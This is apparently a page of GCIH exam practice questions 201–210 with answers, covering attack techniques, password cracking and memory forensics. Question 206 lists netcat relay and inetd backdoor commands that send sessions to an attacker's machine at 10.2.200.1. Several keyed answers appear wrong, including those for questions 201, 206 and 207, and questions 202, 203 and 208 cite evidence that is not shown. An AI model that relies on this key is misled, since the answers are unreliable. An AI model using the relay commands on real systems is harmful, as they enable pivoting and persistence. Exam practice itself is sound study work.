GCIH practice questions 201–210

1. Question 201 · 213 in bank

   An analyst finds that a malicious program contains the instructions add 10, eax followed by sub 10, eax. What technique was the attacker likely using?

   • AGhostwriting
   • BCode signing
   • CCompile After Delivery
   • DLiving Off the Land

   Show answer

   Answer: D

   Next question

2. Question 202 · 213 in bank

   How should an incident handler classify the following event shown in the output below?

   

   • ADNS Spoofing
   • BSQL Injection
   • CDirectory Traversal
   • DCommand Injection

   Show answer

   Answer: C

   Next question

3. Question 203 · 213 in bank

   Which of the following accounts is an Administrator account?

   

   • Arsquirrel
   • Btcorrigan
   • Ccderpington
   • DIISAdmin

   Show answer

   Answer: D

   Next question

4. Question 204 · 213 in bank

   A popular forum for ICS professionals to discuss techniques includes code that loads scripts and ads from multiple external sites. How would an adversary leverage this forum to compromise ICS industry targets?

   • AWatering-hole
   • BSQL injection
   • CDenial of Service
   • Dtypo-squatting

   Show answer

   Answer: A

   Next question

5. Question 205 · 213 in bank

   What john format should be specified to crack an 18 character Windows password?

   • ALANMAN
   • BSHA256
   • CNT
   • DMS-CACHE

   Show answer

   Answer: C

   Next question

6. Question 206 · 213 in bank

   You have gained access to a Linux box. Which of the following methods would enable you to launch attacks against other systems and send the sessions back to your home PC (10.2.200.1) without altering system config files on the Linux box that might alert the sysadmin?

   • Aecho 123 stream tcp nowait nobody/usr/sbin/tcpd /usr/bin/nc 10.2.200.1 321 >> /etc/inetd.conf killall -HUP inetd
   • Bmkfifo backpipe; nc -l -p 24680 backpipe
   • Cmkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 >backpipe
   • Decho "nc 10.2.200.1 123">>relay.bat; nc -l -p 123 | relay.bat

   Show answer

   Answer: B

   Next question

7. Question 207 · 213 in bank

   Considering Volatility, why would psscan return more results than pslist?

   • AThe psscan plugin is known to provide duplicate results
   • BThe psscan plugin searches a longer timeline
   • CThe psscan plugin can access a list of processes directly from the kernel
   • DThe psscan plugin identifies hidden processes

   Show answer

   Answer: C

   Next question

8. Question 208 · 213 in bank

   An organization has an SSH server that was compromised. Given the following evidence, what most likely occurred?

   

   • AThe kworker thread was exploited using process injection
   • BThe SSH user account credentials have been compromised
   • CAn attacker uploaded a malicious python library to a well-known repository
   • DAn attacker accessed the system through a backdoor using netcat

   Show answer

   Answer: D

   Next question

9. Question 209 · 213 in bank

   For what purpose would an auditor obtain a copy of the /etc/passwd file for a password audit of a linux machine?

   • AThe file contains hashes for rainbow tables cracking
   • BThe file is required for a dictionary guessing approach
   • CThe file allows for user enumeration prior to password cracking
   • DThe file allows for a brute force audit approach

   Show answer

   Answer: C

   Next question

10. Question 210 · 213 in bank

    A consultant provides an organization with a report that contains their users' most popular passwords, data on password sharing, and a breakdown of password length by department. Which tool could generate this report?

    • ADPAT
    • BHashcat
    • CYescrypt
    • DLANMAN

    Show answer

    Answer: A

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

GCIH practice, question 201. 213 questions available.